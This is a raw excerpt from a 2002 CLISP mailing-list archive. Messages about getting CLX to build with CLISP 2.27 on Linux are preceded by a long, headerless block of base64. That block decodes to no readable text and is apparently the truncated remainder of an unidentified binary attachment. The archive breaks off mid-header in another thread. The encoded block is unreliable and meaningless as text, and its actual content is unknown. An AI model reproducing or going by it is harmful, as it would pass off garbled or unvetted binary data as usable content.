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 From djp@psychology.nottingham.ac.uk Sat Feb 16 10:36:14 2002 Received: from mail5.svr.pol.co.uk ([195.92.193.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16c9gy-0003Dx-00 for ; Sat, 16 Feb 2002 10:36:13 -0800 Received: from modem-14.xenon.dialup.pol.co.uk ([62.136.45.14] helo=localhost.localdomain) by mail5.svr.pol.co.uk with esmtp (Exim 3.13 #0) id 16c9gt-0005ka-00 for clisp-list@lists.sourceforge.net; Sat, 16 Feb 2002 18:36:08 +0000 Received: from localhost (root@localhost) by localhost.localdomain (8.11.6/8.11.6) with ESMTP id g1GIVVP02363 for ; Sat, 16 Feb 2002 18:31:32 GMT From: David Peebles X-X-Sender: To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] clx and clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 16 10:37:01 2002 X-Original-Date: Sat, 16 Feb 2002 18:31:30 +0000 (GMT) Apologies if this is a naive question but I'm a relatively new user of clisp. I'm trying to use clx with clisp 2.27 for linux. The most recent version of clx for clisp I can find must be quite old as it has the .lsp files. I've modified the files to use the .lisp suffix but still get many errors concerning the lack of an XLIB package when I run make. I assume that this is a result of changes to clisp since the version of clx I have was released. Can anyone give me some advice as to what I should be doing to get clisp running with clx? Many thanks in advance, David =================================================================== Dr David Peebles ESRC Centre for Research in Development, Instruction and Training School of Psychology, University of Nottingham, University Park, Nottingham, NG7 2RD, UK. email: djp@psychology.nottingham.ac.uk tel: 0 115 951 5292 fax: 0 115 951 5324 international: +44 115 951 ---- url: http://www.psychology.nottingham.ac.uk/staff/David.Peebles/ =================================================================== From ampy@ich.dvo.ru Sat Feb 16 20:49:42 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16cJGQ-0003wJ-00 for ; Sat, 16 Feb 2002 20:49:26 -0800 Received: from ppp103-AS-2.vtc.ru (ppp103-AS-2.vtc.ru [212.16.216.103]) by vtc.ru (8.12.2.Beta3/8.12.2.Beta3) with ESMTP id g1H4nDPR010435; Sun, 17 Feb 2002 14:49:14 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <16810571340.20020217144915@ich.dvo.ru> To: David Peebles CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clx and clisp In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 16 20:50:02 2002 X-Original-Date: Sun, 17 Feb 2002 14:49:15 +1000 Hello David, Sunday, February 17, 2002, 4:31:30 AM, you wrote: David> Can anyone give me some advice as to what I should be doing to get clisp David> running with clx? I didn't tried clx, but there are two versions of clx in CLisp, old lisp version and new C version, which, I think, usable as a module which you should setup at a configure (or makemake ?) stage of build. -- Best regards, Arseny From amoroso@mclink.it Sun Feb 17 12:57:28 2002 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16cYNC-0002Dx-00 for ; Sun, 17 Feb 2002 12:57:26 -0800 Received: from net145-044.mclink.it (net145-044.mclink.it [195.110.145.44]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id g1HKvJK07856 for ; Sun, 17 Feb 2002 21:57:19 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clx and clisp Organization: Paolo Amoroso - Milan, ITALY Message-ID: <2AJwPAZ3KvqSGvA+ABvpk4eqaQA8@4ax.com> References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 17 12:58:02 2002 X-Original-Date: Sun, 17 Feb 2002 21:53:09 +0100 On Sat, 16 Feb 2002 18:31:30 +0000 (GMT), David Peebles wrote: > clisp. I'm trying to use clx with clisp 2.27 for linux. The most recent > version of clx for clisp I can find must be quite old as it has the .lsp > files. I've modified the files to use the .lisp suffix but still get many > errors concerning the lack of an XLIB package when I run make. I assume The standard CLISP distribution comes with two CLX implementations that should be built from source without errors on supported platforms. Where have you got the CLX distribution you refer to? On what system are you trying to compile it? The official CLISP site is: http://clisp.sourceforge.net Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://www.paoloamoroso.it/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From samuel.steingold@verizon.net Sun Feb 17 21:50:45 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16cghI-0007ks-00 for ; Sun, 17 Feb 2002 21:50:44 -0800 Received: from gnu.org ([151.203.224.254]) by out018.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020218055042.GPQS25425.out018.verizon.net@gnu.org>; Sun, 17 Feb 2002 23:50:42 -0600 To: Kaz Kylheku Cc: Klaus Momberger , Subject: Re: [clisp-list] linux:readdir always returns d_type=0 